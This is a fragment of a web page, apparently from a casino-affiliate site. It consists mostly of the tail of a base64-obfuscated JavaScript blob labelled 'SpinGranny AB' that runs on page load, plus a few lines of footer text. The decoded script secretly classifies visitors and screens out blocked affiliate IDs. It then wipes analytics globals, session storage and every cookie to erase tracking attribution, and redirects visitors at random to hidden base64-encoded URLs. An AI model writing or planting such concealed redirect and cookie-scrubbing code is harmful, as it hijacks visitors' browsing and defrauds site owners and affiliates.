AgICAgaWYgKCFlbnRyeVJhdykgewogICAgICAgICAgICAvLyBObyBlbnRyeSB0aW1lIHVzdWFsbHkgbWVhbnMgZGlyZWN0IHZpc2l0IG9yIGNvb2tpZSBibG9ja2VkCiAgICAgICAgICAgIHN0YXRlLmZhaWx1cmVSZWFzb24gPSAiZW50cnlUaW1lIGNvb2tpZSBtaXNzaW5nIjsKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KCiAgICAgICAgY29uc3QgZW50cnlUaW1lID0gcGFyc2VJbnQoZW50cnlSYXcsIDEwKTsKICAgICAgICBjb25zdCBhZ2UgPSBEYXRlLm5vdygpIC0gZW50cnlUaW1lOwogICAgICAgIGNvbnN0IG1heEFnZSA9IHN0YXRlLmNvbmZpZy5lbnRyeU1heEFnZU1zOwoKICAgICAgICBpZiAoaXNOYU4oZW50cnlUaW1lKSB8fCBNYXRoLmFicyhhZ2UpID4gbWF4QWdlKSB7CiAgICAgICAgICAgIGZsYWdPbmVTaG90KCk7CiAgICAgICAgICAgIHN0YXRlLmZhaWx1cmVSZWFzb24gPSBgZW50cnlUaW1lIGludmFsaWQgb3IgZXhwaXJlZCAoYWdlOiAke2FnZX1tcywgbWF4OiAke21heEFnZX1tcylgOwogICAgICAgICAgICBsb2coImdhdGUtZmFpbGVkIiwgeyBlbnRyeVJhdywgYWdlLCBtYXhBZ2UgfSk7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CgogICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIC8qKgogICAgICogRGV0ZXJtaW5lcyBpZiB0cmFmZmljIGlzICdtYXJrZXRpbmcnIG9yICdvcmdhbmljJyBiYXNlZCBvbiBVUkwvUm91dGUgc2lnbmFscy4KICAgICAqIFVzZXMgY29uZmlnIHJ1bGVzIGZvciB0b2tlbnMsIHBhdGhzLCBhbmQgYmxvY2tsaXN0cy4KICAgICAqLwogICAgZnVuY3Rpb24gY2xhc3NpZnlUcmFmZmljKCkgewogICAgICAgIGNvbnN0IHJvdXRlRGF0YSA9IGdldFJvdXRlRGF0YSgpOyAvLyBGcm9tIExvY2FsU3RvcmFnZSBvciBXaW5kb3cKICAgICAgICBjb25zdCBocmVmRGF0YSA9IGdldExvY2F0aW9uRGF0YSgpOyAvLyBDdXJyZW50IFdpbmRvdyBsb2NhdGlvbgoKICAgICAgICAvLyBDaGVjayBCbG9ja2VkIEFmZmlsaWF0ZXMgZmlyc3QgKEhpZ2ggUHJpb3JpdHkpCiAgICAgICAgY29uc3QgYmxvY2tlZENoZWNrID0gY2hlY2tCbG9ja2VkQWZmaWxpYXRlcyhocmVmRGF0YS5yYXcsIHJvdXRlRGF0YS5yYXcpOwogICAgICAgIGlmIChibG9ja2VkQ2hlY2spIHsKICAgICAgICAgICAgcmV0dXJuIHsgdHlwZTogImJsb2NrZWQiLCByZWFzb246ICJibG9ja2VkLWFmZmlsaWF0ZSIsIGRldGFpbHM6IGJsb2NrZWRDaGVjayB9OwogICAgICAgIH0KCiAgICAgICAgY29uc3Qgb3B0cyA9IHN0YXRlLmNvbmZpZy5jbGFzc2lmaWNhdGlvbjsKCiAgICAgICAgLy8gUHJlLWNvbXB1dGUgbG93ZXItY2FzZSBmb3Igc3RyaW5nIG1hdGNoaW5nCiAgICAgICAgY29uc3QgbGNIcmVmID0gaHJlZkRhdGEucmF3TG93ZXI7CiAgICAgICAgY29uc3QgbGNSb3V0ZSA9IHJvdXRlRGF0YS5yYXdMb3dlcjsKCiAgICAgICAgLy8gMS4gTWFya2V0aW5nIENoZWNrCiAgICAgICAgLy8gTWF0Y2hlcyB0b2tlbnMgKGJ0YT0sIGV0Yy4pIG9yIHNwZWNpZmljIHdoaXRlbGlzdAogICAgICAgIGNvbnN0IGlzTWFya2V0aW5nID0KICAgICAgICAgICAgZGV0ZWN0VG9rZW5zKGxjSHJlZiwgb3B0cy5tYXJrZXRpbmcudG9rZW5zKSB8fAogICAgICAgICAgICBkZXRlY3RUb2tlbnMobGNSb3V0ZSwgb3B0cy5tYXJrZXRpbmcudG9rZW5zKSB8fAogICAgICAgICAgICBjaGVja01hdGNoKGxjSHJlZiwgb3B0cy5tYXJrZXRpbmcud2hpdGVsaXN0KSB8fAogICAgICAgICAgICBjaGVja01hdGNoKGxjUm91dGUsIG9wdHMubWFya2V0aW5nLndoaXRlbGlzdCk7CgogICAgICAgIGlmIChpc01hcmtldGluZykgewogICAgICAgICAgICAvLyBFbnN1cmUgbm90IGJsYWNrbGlzdGVkCiAgICAgICAgICAgIGlmIChjaGVja01hdGNoKGxjSHJlZiwgb3B0cy5tYXJrZXRpbmcuYmxhY2tsaXN0KSB8fCBjaGVja01hdGNoKGxjUm91dGUsIG9wdHMubWFya2V0aW5nLmJsYWNrbGlzdCkpIHsKICAgICAgICAgICAgICAgIHJldHVybiB7IHR5cGU6ICJvcmdhbmljIiwgcmVhc29uOiAibWFya2V0aW5nLWJsYWNrbGlzdGVkLWZhbGxiYWNrIiB9OyAvLyBGYWxsYmFjayB0byBvcmdhbmljIGlmIG1hcmtldGluZyBpcyBibGFja2xpc3RlZAogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiB7IHR5cGU6ICJtYXJrZXRpbmciLCByZWFzb246ICJ0b2tlbi1tYXRjaCIgfTsKICAgICAgICB9CgogICAgICAgIC8vIDIuIE9yZ2FuaWMgQ2hlY2sKICAgICAgICAvLyBNYXRjaGVzIHBhdGhzICgvZGUsIC9wbCkgb3IgZXhwbGljaXQgd2hpdGVsaXN0CiAgICAgICAgLy8gSW1wbGljaXRseSBvcmdhbmljIGlmIG5vIHF1ZXJ5IHBhcmFtcyBhbmQgbm90IG1hcmtldGluZwogICAgICAgIGNvbnN0IHBhdGggPSBocmVmRGF0YS5wYXRoTm9ybWFsaXplZDsKICAgICAgICBjb25zdCBpc09yZ2FuaWNQYXRoID0gb3B0cy5vcmdhbmljLnBhdGhzLnNvbWUocCA9PiBub3JtYWxpemVQYXRoKHApID09PSBwYXRoKTsKCiAgICAgICAgaWYgKGlzT3JnYW5pY1BhdGggfHwgIWhyZWZEYXRhLmhhc1F1ZXJ5IHx8IGNoZWNrTWF0Y2gobGNIcmVmLCBvcHRzLm9yZ2FuaWMud2hpdGVsaXN0KSkgewogICAgICAgICAgICBpZiAoY2hlY2tNYXRjaChsY0hyZWYsIG9wdHMub3JnYW5pYy5ibGFja2xpc3QpKSB7CiAgICAgICAgICAgICAgICByZXR1cm4geyB0eXBlOiAib3RoZXIiLCByZWFzb246ICJvcmdhbmljLWJsYWNrbGlzdGVkIiB9OwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiB7IHR5cGU6ICJvcmdhbmljIiwgcmVhc29uOiBpc09yZ2FuaWNQYXRoID8gInBhdGgtbWF0Y2giIDogImRpcmVjdC12aXNpdCIgfTsKICAgICAgICB9CgogICAgICAgIC8vIERlZmF1bHQgRmFsbGJhY2sKICAgICAgICByZXR1cm4geyB0eXBlOiAib3JnYW5pYyIsIHJlYXNvbjogImZhbGxiYWNrLWRlZmF1bHQiIH07CiAgICB9CgogICAgLyoqCiAgICAgKiBTZWxlY3RzIGEgZmxvdyAodGFyZ2V0IFVSTCkgYmFzZWQgb24gY2xhc3NpZmljYXRpb24gYW5kIHJhbmRvbSBwcm9iYWJpbGl0eS4KICAgICAqLwogICAgZnVuY3Rpb24gc2VsZWN0Rmxvdyh0eXBlKSB7CiAgICAgICAgLy8gU3VwcG9ydCAnYmFzaWMnIHZzICdleHRlbmRlZCcgZmxvdyBzdHJ1Y3R1cmVzLiBEZWZhdWx0IHRvICdiYXNpYycuCiAgICAgICAgY29uc3QgZmxvd3MgPSBzdGF0ZS5jb25maWcuZmxvd3MuYmFzaWM/Llt0eXBlXSB8fCBbXTsKCiAgICAgICAgaWYgKCFmbG93cy5sZW5ndGgpIHJldHVybiBudWxsOwoKICAgICAgICAvLyBTaW1wbGlmeSBGbG93IE9iamVjdHMKICAgICAgICBjb25zdCBjYW5kaWRhdGVzID0gZmxvd3MubWFwKGYgPT4gKHsKICAgICAgICAgICAgc3RhcnQ6IGNsYW1wKGYucmFuZ2VTdGFydFBlcmNlbnQsIDAsIDEwMCksCiAgICAgICAgICAgIGVuZDogY2xhbXAoZi5yYW5nZUVuZFBlcmNlbnQsIDAsIDEwMCksCiAgICAgICAgICAgIHRhcmdldDogZGVjb2RlVGFyZ2V0KGYudGFyZ2V0QmFzZTY0LCBmLnRhcmdldFVybCksCiAgICAgICAgICAgIGxhYmVsOiBmLmxhYmVsIHx8IGYua2V5CiAgICAgICAgfSkpLmZpbHRlcihmID0+IGYuc3RhcnQgPCBmLmVuZCAmJiBmLnRhcmdldCk7CgogICAgICAgIGlmICghY2FuZGlkYXRlcy5sZW5ndGgpIHJldHVybiBudWxsOwoKICAgICAgICBjb25zdCByb2xsID0gTWF0aC5yYW5kb20oKSAqIDEwMDsKICAgICAgICBjb25zdCBzZWxlY3RlZCA9IGNhbmRpZGF0ZXMuZmluZChmID0+IHJvbGwgPj0gZi5zdGFydCAmJiByb2xsIDwgZi5lbmQpOwoKICAgICAgICBpZiAoIXNlbGVjdGVkKSByZXR1cm4gbnVsbDsKCiAgICAgICAgcmV0dXJuIHsKICAgICAgICAgICAgZmxvd0xhYmVsOiBzZWxlY3RlZC5sYWJlbCwKICAgICAgICAgICAgZmluYWxVcmw6IHNlbGVjdGVkLnRhcmdldCwKICAgICAgICAgICAgcm9sbDogcm9sbC50b0ZpeGVkKDIpLAogICAgICAgICAgICByYW5nZTogYCR7c2VsZWN0ZWQuc3RhcnR9LSR7c2VsZWN0ZWQuZW5kfWAKICAgICAgICB9OwogICAgfQoKICAgIC8qKgogICAgICogQWdncmVzc2l2ZWx5IHNjcnVicyB0cmFja2luZyBjb29raWVzIGFuZCBnbG9iYWxzIHRvIGVuc3VyZSBhIGNsZWFuIHJlZGlyZWN0IGVudmlyb25tZW50LgogICAgICogT3B0aW1pemVkIHRvIGEgc2luZ2xlIHBhc3MgZm9yIHBlcmZvcm1hbmNlLgogICAgICovCiAgICBmdW5jdGlvbiBzY3J1YlRyYWNrZXJzKCkgewogICAgICAgIGlmIChzdGF0ZS5kZWJ1Z01vZGUpIGxvZygic2NydWJiaW5nIiwgIlN0YXJ0aW5nIHRyYWNrZXIgY2xlYW51cC4uLiIpOwoKICAgICAgICAvLyAxLiBXaXBlIEdsb2JhbHMgKEdUTSwgRkIsIGV0Yy4pCiAgICAgICAgVFJBQ0tFUl9HTE9CQUxTLmZvckVhY2goa2V5ID0+IHsKICAgICAgICAgICAgdHJ5IHsKICAgICAgICAgICAgICAgIC8vIEhhbmRsZSBuZXN0ZWQga2V5cyBsaWtlICJ3aW5kb3cuZ29vZ2xlX3RhZ19tYW5hZ2VyIgogICAgICAgICAgICAgICAgLy8gU2ltcGxlIGRlbGV0ZSBpcyB1c3VhbGx5IGVub3VnaCBmb3IgdG9wLWxldmVsCiAgICAgICAgICAgICAgICB3aW5kb3dba2V5XSA9IHVuZGVmaW5lZDsKICAgICAgICAgICAgICAgIGRlbGV0ZSB3aW5kb3dba2V5XTsKICAgICAgICAgICAgfSBjYXRjaCAoXykgeyB9CiAgICAgICAgfSk7CgogICAgICAgIC8vIDIuIENsZWFyIFN0b3JhZ2UKICAgICAgICB0cnkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbShTVE9SQUdFLlJFRkVSUkFMX1ZBTFVFUyk7CiAgICAgICAgICAgIHNlc3Npb25TdG9yYWdlLmNsZWFyKCk7CiAgICAgICAgfSBjYXRjaCAoXykgeyB9CgogICAgICAgIC8vIDMuIENsZWFyIENvb2tpZXMKICAgICAgICAvLyBOb3RlOiBDbGVhcmluZyBjb29raWVzIHJlcXVpcmVzIHNldHRpbmcgZXhwaXJhdGlvbiB0byBwYXN0IG9uIHRoZSBleGFjdCBkb21haW4gcGF0aC4KICAgICAgICAvLyBXZSB0cnkgY29tbW9uIHZhcmlhdGlvbnMgKHJvb3QgZG9tYWluLCBzdWJkb21haW4sIGN1cnJlbnQgcGF0aCkKICAgICAgICBjb25zdCBob3N0UGFydHMgPSB3aW5kb3cubG9jYXRpb24uaG9zdG5hbWUuc3BsaXQoJy4nKTsKICAgICAgICBjb25zdCBkb21haW5Sb290ID0gaG9zdFBhcnRzLnNsaWNlKC0yKS5qb2luKCcuJyk7IC8vIGUuZy4gImV4YW1wbGUuY29tIgogICAgICAgIGNvbnN0IGRvbWFpbkZ1bGwgPSB3aW5kb3cubG9jYXRpb24uaG9zdG5hbWU7CgogICAgICAgIGNvbnN0IGNvb2tpZXMgPSBkb2N1bWVudC5jb29raWUuc3BsaXQoJzsnKTsKICAgICAgICBjb25zdCBwYXN0RGF0ZSA9ICJUaHUsIDAxIEphbiAxOTcwIDAwOjAwOjAwIEdNVCI7CgogICAgICAgIGNvb2tpZXMuZm9yRWFjaChjID0+IHsKICAgICAgICAgICAgY29uc3QgbmFtZSA9IGMuc3BsaXQoJz0nKVswXS50cmltKCk7CiAgICAgICAgICAgIGlmICghbmFtZSkgcmV0dXJuOwoKICAgICAgICAgICAgLy8gTnVrZSBpdCBmcm9tIG9yYml0OiBUcnkgYWxsIGxpa2VseSBwYXRocyBhbmQgZG9tYWluIHZhcmlhdGlvbnMKICAgICAgICAgICAgZG9jdW1lbnQuY29va2llID0gYCR7bmFtZX09OyBwYXRoPS87IGV4cGlyZXM9JHtwYXN0RGF0ZX1gOwogICAgICAgICAgICBkb2N1bWVudC5jb29raWUgPSBgJHtuYW1lfT07IHBhdGg9LzsgZG9tYWluPSR7ZG9tYWluRnVsbH07IGV4cGlyZXM9JHtwYXN0RGF0ZX1gOwogICAgICAgICAgICBkb2N1bWVudC5jb29raWUgPSBgJHtuYW1lfT07IHBhdGg9LzsgZG9tYWluPS4ke2RvbWFpbkZ1bGx9OyBleHBpcmVzPSR7cGFzdERhdGV9YDsKICAgICAgICAgICAgZG9jdW1lbnQuY29va2llID0gYCR7bmFtZX09OyBwYXRoPS87IGRvbWFpbj0ke2RvbWFpblJvb3R9OyBleHBpcmVzPSR7cGFzdERhdGV9YDsKICAgICAgICAgICAgZG9jdW1lbnQuY29va2llID0gYCR7bmFtZX09OyBwYXRoPS87IGRvbWFpbj0uJHtkb21haW5Sb290fTsgZXhwaXJlcz0ke3Bhc3REYXRlfWA7CiAgICAgICAgfSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBFeGVjdXRlcyB0aGUgcmVkaXJlY3QuCiAgICAgKiBOb3RlOiBObyBhcnRpZmljaWFsIGRlbGF5LiBTcGVlZCBpcyBwcmlvcml0eSBmb3IgIkNvc3QiLgogICAgICovCiAgICBmdW5jdGlvbiBwZXJmb3JtUmVkaXJlY3QodXJsKSB7CiAgICAgICAgaWYgKCF1cmwpIHsKICAgICAgICAgICAgY29uc29sZS5lcnJvcihMT0dfUFJFRklYLCAiUmVkaXJlY3QgYWJvcnRlZDogaW52YWxpZCBVUkwiKTsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KICAgICAgICBsb2coInJlZGlyZWN0aW5nIiwgeyB1cmwgfSk7CiAgICAgICAgd2luZG93LmxvY2F0aW9uLmhyZWYgPSB1cmw7CiAgICB9CgogICAgLyogPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KICAgICAgIEhFTFBFUiBVVElMSVRJRVMgKFBVUkUgRlVOQ1RJT05TKQogICAgICAgPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0gKi8KCiAgICBmdW5jdGlvbiBsb2FkQ29uZmlndXJhdGlvbigpIHsKICAgICAgICAvLyBEZWVwIGNsb25lIGRlZmF1bHRzIHRvIGF2b2lkIG11dGF0aW9uIGlzc3VlcwogICAgICAgIGxldCBjZmcgPSBKU09OLnBhcnNlKEpTT04uc3RyaW5naWZ5KENPTkZJR19ERUZBVUxUUykpOwoKICAgICAgICAvLyAxLiBJbmplY3QgQmxvYiBDb25maWcgKFNlcnZlci1TaWRlIEluamVjdGVkKQogICAgICAgIGNvbnN0IGJsb2IgPSB3aW5kb3cuc3BpbmdyYW5ueV9jZmdfYmxvYjsKICAgICAgICBpZiAodHlwZW9mIGJsb2IgPT09ICJzdHJpbmciICYmIGJsb2IpIHsKICAgICAgICAgICAgdHJ5IHsKICAgICAgICAgICAgICAgIGNvbnN0IGRlY29kZWQgPSBKU09OLnBhcnNlKGF0b2IoYmxvYikpOwogICAgICAgICAgICAgICAgaWYgKGRlY29kZWQpIHsKICAgICAgICAgICAgICAgICAgICAvLyBTdGFydCBjYXV0aW91cyBtZXJnaW5nLiAKICAgICAgICAgICAgICAgICAgICAvLyBJbiBhICJCZXN0IFRlY2giIHNjZW5hcmlvLCB3ZSBtaWdodCB1c2UgYSBsaWJyYXJ5IGxpa2UgbG9kYXNoLm1lcmdlLCAKICAgICAgICAgICAgICAgICAgICAvLyBidXQgZm9yIGEgbGlnaHR3ZWlnaHQgc2NyaXB0LCB3ZSBoYW5kbGUga2V5IHNlY3Rpb25zIG1hbnVhbGx5LgogICAgICAgICAgICAgICAgICAgIGlmIChkZWNvZGVkLmZsb3dzKSBjZmcuZmxvd3MgPSBkZWNvZGVkLmZsb3dzOyAvLyBGdWxsIHJlcGxhY2VtZW50IG9mIGZsb3dzIGlzIHNhZmVyIHRoYW4gcGFydGlhbCBtZXJnZQogICAgICAgICAgICAgICAgICAgIGlmIChkZWNvZGVkLmNsYXNzaWZpY2F0aW9uKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIC8vIE1lcmdlIGxpc3RzLCBkb24ndCBqdXN0IHJlcGxhY2UKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGRlY29kZWQuY2xhc3NpZmljYXRpb24ubWFya2V0aW5nKSBPYmplY3QuYXNzaWduKGNmZy5jbGFzc2lmaWNhdGlvbi5tYXJrZXRpbmcsIGRlY29kZWQuY2xhc3NpZmljYXRpb24ubWFya2V0aW5nKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGRlY29kZWQuY2xhc3NpZmljYXRpb24ub3JnYW5pYykgT2JqZWN0LmFzc2lnbihjZmcuY2xhc3NpZmljYXRpb24ub3JnYW5pYywgZGVjb2RlZC5jbGFzc2lmaWNhdGlvbi5vcmdhbmljKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYgKGRlY29kZWQuYmxvY2tlZEFmZmlsaWF0ZXMpIGNmZy5ibG9ja2VkQWZmaWxpYXRlcyA9IGRlY29kZWQuYmxvY2tlZEFmZmlsaWF0ZXM7CiAgICAgICAgICAgICAgICAgICAgaWYgKGRlY29kZWQuZW50cnlNYXhBZ2VNcykgY2ZnLmVudHJ5TWF4QWdlTXMgPSBkZWNvZGVkLmVudHJ5TWF4QWdlTXM7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gY2F0Y2ggKGUpIHsKICAgICAgICAgICAgICAgIGNvbnNvbGUud2FybihMT0dfUFJFRklYLCAiRmFpbGVkIHRvIHBhcnNlIGNvbmZpZyBibG9iIiwgZSk7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIC8vIDIuIEFwcGx5IExlZ2FjeSBPdmVycmlkZXMgKGlmIGFueSBleGlzdCBpbiB3aW5kb3cpCiAgICAgICAgLy8gS2VwdCBmb3IgYmFja3dhcmQgY29tcGF0aWJpbGl0eSBidXQgbWluaW1pemVkLgogICAgICAgIGNvbnN0IGxlZ2FjeSA9IHdpbmRvdy5zcGluZ3Jhbm55X2NmZ19kZWZhdWx0cyB8fCB3aW5kb3cuc3BpbmdyYW5ueUNmZyB8fCB3aW5kb3cuc3BpbmdyYW5ueV9jZmc7CiAgICAgICAgaWYgKGxlZ2FjeSkgewogICAgICAgICAgICBpZiAobGVnYWN5LmJsb2NrZWRBZmZpbGlhdGVzKSBjZmcuYmxvY2tlZEFmZmlsaWF0ZXMgPSBsZWdhY3kuYmxvY2tlZEFmZmlsaWF0ZXM7CiAgICAgICAgICAgIC8vIEFkZGl0aW9uYWwgbGVnYWN5IHByb3BlcnRpZXMgY2FuIGJlIG1hcHBlZCBoZXJlIGlmIHN0cmljdGx5IG5lY2Vzc2FyeS4KICAgICAgICB9CgogICAgICAgIHJldHVybiBjZmc7CiAgICB9CgogICAgLy8gLS0tIENsYXNzaWZpY2F0aW9uIEhlbHBlcnMgLS0tCgogICAgZnVuY3Rpb24gZ2V0Um91dGVEYXRhKCkgewogICAgICAgIGxldCByYXcgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbShTVE9SQUdFLlJPVVRFX0NVUlJFTlQpIHx8ICIiOwogICAgICAgIGlmICghcmF3KSB7CiAgICAgICAgICAgIC8vIEZhbGxiYWNrIGlmIGxvY2FsIHN0b3JhZ2UgbWlzc2luZwogICAgICAgICAgICByYXcgPSAod2luZG93LmxvY2F0aW9uLnBhdGhuYW1lIHx8ICIvIikgKyAod2luZG93LmxvY2F0aW9uLnNlYXJjaCB8fCAiIik7CiAgICAgICAgfQogICAgICAgIHJldHVybiBwcm9jZXNzVXJsU3RyaW5nKHJhdyk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0TG9jYXRpb25EYXRhKCkgewogICAgICAgIHJldHVybiBwcm9jZXNzVXJsU3RyaW5nKHdpbmRvdy5sb2NhdGlvbi5ocmVmKTsKICAgIH0KCiAgICBmdW5jdGlvbiBwcm9jZXNzVXJsU3RyaW5nKHN0cikgewogICAgICAgIGlmICghc3RyKSBzdHIgPSAiLyI7CiAgICAgICAgY29uc3QgdXJsT2JqID0gcGFyc2VVcmxTYWZlKHN0cik7CiAgICAgICAgcmV0dXJuIHsKICAgICAgICAgICAgcmF3OiBzdHIsCiAgICAgICAgICAgIHJhd0xvd2VyOiBzdHIudG9Mb3dlckNhc2UoKSwKICAgICAgICAgICAgcGF0aE5vcm1hbGl6ZWQ6IG5vcm1hbGl6ZVBhdGgodXJsT2JqLnBhdGhuYW1lKSwKICAgICAgICAgICAgaGFzUXVlcnk6ICEhdXJsT2JqLnNlYXJjaCAmJiB1cmxPYmouc2VhcmNoLmxlbmd0aCA+IDEKICAgICAgICB9OwogICAgfQoKICAgIGZ1bmN0aW9uIG5vcm1hbGl6ZVBhdGgocGF0aCkgewogICAgICAgIGlmICghcGF0aCB8fCBwYXRoID09PSAiLyIpIHJldHVybiAiLyI7CiAgICAgICAgcmV0dXJuIHBhdGguZW5kc1dpdGgoIi8iKSA/IHBhdGguc2xpY2UoMCwgLTEpIDogcGF0aDsKICAgIH0KCiAgICBmdW5jdGlvbiBwYXJzZVVybFNhZmUoc3RyKSB7CiAgICAgICAgdHJ5IHsKICAgICAgICAgICAgLy8gbmV3IFVSTCByZXF1aXJlcyBhIGJhc2UgaWYgcGF0aCBpcyByZWxhdGl2ZQogICAgICAgICAgICByZXR1cm4gbmV3IFVSTChzdHIsIHdpbmRvdy5sb2NhdGlvbi5vcmlnaW4pOwogICAgICAgIH0gY2F0Y2ggKF8pIHsKICAgICAgICAgICAgcmV0dXJuIHsgcGF0aG5hbWU6IHN0ciwgc2VhcmNoOiAiIiB9OwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBkZXRlY3RUb2tlbnMoc3RyLCB0b2tlbnMpIHsKICAgICAgICBpZiAoIXN0ciB8fCAhdG9rZW5zIHx8ICF0b2tlbnMubGVuZ3RoKSByZXR1cm4gZmFsc2U7CiAgICAgICAgcmV0dXJuIHRva2Vucy5zb21lKHQgPT4gc3RyLmluY2x1ZGVzKHQudG9Mb3dlckNhc2UoKSkpOwogICAgfQoKICAgIGZ1bmN0aW9uIGNoZWNrTWF0Y2goc3RyLCBsaXN0KSB7CiAgICAgICAgaWYgKCFzdHIgfHwgIWxpc3QgfHwgIWxpc3QubGVuZ3RoKSByZXR1cm4gZmFsc2U7CiAgICAgICAgcmV0dXJuIGxpc3Quc29tZShpdGVtID0+IHN0ci5pbmNsdWRlcyhpdGVtKSk7CiAgICB9CgogICAgZnVuY3Rpb24gY2hlY2tCbG9ja2VkQWZmaWxpYXRlcyhocmVmLCByb3V0ZSkgewogICAgICAgIGNvbnN0IGlkcyA9IHN0YXRlLmNvbmZpZy5ibG9ja2VkQWZmaWxpYXRlczsKICAgICAgICBpZiAoIWlkcyB8fCAhaWRzLmxlbmd0aCkgcmV0dXJuIG51bGw7CgogICAgICAgIC8vIEhlbHBlciB0byBleHRyYWN0IElELWxpa2UgcGF0dGVybnMKICAgICAgICAvLyBMb29rcyBmb3IgYnRhPTEyMyBvciBjeGQ9NDU2CiAgICAgICAgY29uc3QgZXh0cmFjdFBhcmFtcyA9IChzKSA9PiB7CiAgICAgICAgICAgIGNvbnN0IG1hdGNoZXMgPSBzLm1hdGNoKC9bPyZdKGJ0YXxjeGQpPShbXiYjXSspL2dpKTsKICAgICAgICAgICAgcmV0dXJuIG1hdGNoZXMgPyBtYXRjaGVzLm1hcChtID0+IG0uc3BsaXQoJz0nKVsxXSkgOiBbXTsKICAgICAgICB9OwoKICAgICAgICBjb25zdCBmb3VuZFBhcmFtcyA9IFsuLi5leHRyYWN0UGFyYW1zKGhyZWYpLCAuLi5leHRyYWN0UGFyYW1zKHJvdXRlKV07CgogICAgICAgIGZvciAoY29uc3QgcCBvZiBmb3VuZFBhcmFtcykgewogICAgICAgICAgICAvLyBDaGVjayBpZiBhbnkgYmxvY2tlZCBJRCBpcyBhIHN1YnN0cmluZyBvZiB0aGUgZm91bmQgcGFyYW0KICAgICAgICAgICAgLy8gZS5nLiBibG9ja2VkIElEICIxMjMiIG1hdGNoZXMgcGFyYW0gIjEyM180NTYiCiAgICAgICAgICAgIGlmIChpZHMuc29tZShpZCA9PiBwLmluY2x1ZGVzKGlkKSkpIHsKICAgICAgICAgICAgICAgIHJldHVybiBwOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiBudWxsOwogICAgfQoKICAgIC8vIC0tLSBHZW5lcmFsIEhlbHBlcnMgLS0tCgogICAgZnVuY3Rpb24gY2hlY2tEZWJ1Z01vZGUoKSB7CiAgICAgICAgdHJ5IHsKICAgICAgICAgICAgcmV0dXJuIGxvY2FsU3RvcmFnZS5nZXRJdGVtKFNUT1JBR0UuREVCVUcpID09PSAiMSI7CiAgICAgICAgfSBjYXRjaCAoXykgeyByZXR1cm4gZmFsc2U7IH0KICAgIH0KCiAgICBmdW5jdGlvbiBsb2coZXZlbnQsIGRhdGEpIHsKICAgICAgICBpZiAoIXN0YXRlLmRlYnVnTW9kZSkgcmV0dXJuOwogICAgICAgIGNvbnN0IHRpbWVPZmZzZXQgPSAocGVyZm9ybWFuY2Uubm93KCkgLSBzdGF0ZS5zdGFydFRpbWUpLnRvRml4ZWQoMik7CiAgICAgICAgY29uc29sZS5pbmZvKGAke0xPR19QUkVGSVh9IFske3RpbWVPZmZzZXR9bXNdICR7ZXZlbnQudG9VcHBlckNhc2UoKX06YCwgZGF0YSk7CiAgICB9CgogICAgZnVuY3Rpb24gaGFsdChyZWFzb24sIGRldGFpbHMpIHsKICAgICAgICBpZiAoc3RhdGUuZGVidWdNb2RlKSB7CiAgICAgICAgICAgIGNvbnNvbGUud2FybihMT0dfUFJFRklYLCAiSEFMVEVEOiIsIHJlYXNvbiwgZGV0YWlscyB8fCAiIik7CiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIGZsYWdPbmVTaG90KCkgewogICAgICAgIHRyeSB7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5zZXRJdGVtKFNUT1JBR0UuT05FX1NIT1QsICIxIik7CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0gY2F0Y2ggKF8pIHsgcmV0dXJuIGZhbHNlOyB9CiAgICB9CgogICAgZnVuY3Rpb24gcGFyc2VDb29raWVzKCkgewogICAgICAgIGNvbnN0IHJlcyA9IHt9OwogICAgICAgIHRyeSB7CiAgICAgICAgICAgIGRvY3VtZW50LmNvb2tpZS5zcGxpdCgnOycpLmZvckVhY2goYyA9PiB7CiAgICAgICAgICAgICAgICBjb25zdCBbaywgdl0gPSBjLnNwbGl0KCc9Jyk7CiAgICAgICAgICAgICAgICBpZiAoaykgcmVzW2sudHJpbSgpXSA9IGRlY29kZVVSSUNvbXBvbmVudCh2IHx8ICIiKTsKICAgICAgICAgICAgfSk7CiAgICAgICAgfSBjYXRjaCAoXykgeyB9CiAgICAgICAgcmV0dXJuIHJlczsKICAgIH0KCiAgICBmdW5jdGlvbiBkZWNvZGVUYXJnZXQoYmFzZTY0LCBwbGFpbikgewogICAgICAgIGlmIChwbGFpbiAmJiBwbGFpbi5zdGFydHNXaXRoKCJodHRwIikpIHJldHVybiBwbGFpbjsKICAgICAgICBpZiAoYmFzZTY0KSB7CiAgICAgICAgICAgIHRyeSB7IHJldHVybiBhdG9iKGJhc2U2NCk7IH0gY2F0Y2ggKF8pIHsgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gbnVsbDsKICAgIH0KCiAgICBmdW5jdGlvbiBjbGFtcChudW0sIG1pbiwgbWF4KSB7CiAgICAgICAgY29uc3QgbiA9IHBhcnNlRmxvYXQobnVtKTsKICAgICAgICBpZiAoaXNOYU4obikpIHJldHVybiBtaW47CiAgICAgICAgcmV0dXJuIE1hdGgubWF4KG1pbiwgTWF0aC5taW4obiwgbWF4KSk7CiAgICB9Cgp9KSgpOwo="))}catch(err){try{console&&console.error&&console.error("SpinGranny AB init failed",err)}catch(_){}}})();
 

Betmen Affiliates
INFO

  1. AGD Terms Certification
